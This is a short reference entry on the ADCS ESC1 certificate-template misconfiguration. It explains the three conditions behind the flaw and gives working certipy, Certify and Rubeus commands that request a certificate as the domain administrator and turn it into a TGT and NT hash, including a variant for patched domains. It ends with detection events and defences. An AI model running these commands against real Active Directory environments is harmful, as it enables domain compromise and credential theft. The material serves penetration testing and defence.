ADCS ESC1 (Arbitrary SAN)

ESC1 is the most common Active Directory Certificate Services (ADCS) misconfiguration: a certificate template that lets any user request a certificate specifying who they want it for. With that, an unprivileged user obtains a certificate as the Domain Administrator and authenticates as them.

What it is based on. The vulnerable template meets three conditions at once: (1) it allows enrollment by low-privilege users, (2) it has Enrollee supplies subject enabled (the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag), which lets the requester set any SAN they want, and (3) it includes a client authentication EKU. By requesting the certificate with -upn administrator@domain, the DC accepts that SAN and issues a certificate valid to authenticate as that user via PKINIT.

How it is executed. certipy locates the vulnerable templates, requests the certificate, and uses it to obtain the TGT and NT hash:

certipy find -u <user>@<domain> -p <pass> -dc-ip <ip> -vulnerable -stdout
certipy req -u <user>@<domain> -p <pass> -ca <CA> -template <VulnTemplate> -upn administrator@<domain>
certipy auth -pfx administrator.pfx -dc-ip <ip>

certipy auth returns an Administrator TGT and, along the way, its NT hash, so you can then do Pass-the-Hash or DCSync.

On Windows, with Certify and Rubeus:

Certify.exe find /vulnerable
Certify.exe request /ca:<CA> /template:<VulnTemplate> /altname:administrator
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pass> /ptt

On domains with the May 2022 patch (KB5014754) you must also set the victim's SID:

certipy req -u <user>@<domain> -p <pass> -ca <CA> -template <VulnTemplate> -upn administrator@<domain> -sid <admin-sid>

Versus other ESC. Unlike ESC9 (which abuses weak certificate mapping), ESC1 is a pure template flaw: the attacker chooses the subject. It is the first thing hunted in any ADCS review and is often combined with coercion to attack the DC.

How to detect it. Watch on the CA for certificate request/issue events (Event ID 4886 and 4887) whose SAN does not match the requester, and PKINIT authentications (4768 with certificate information) for privileged accounts from unusual hosts. certipy also leaves an LDAP template enumeration trail.

Defence. Remove the Enrollee supplies subject option, restrict who can enroll, require CA manager approval, and apply strong certificate mapping (KB5014754). Related to Shadow Credentials, which also ends in a TGT via PKINIT.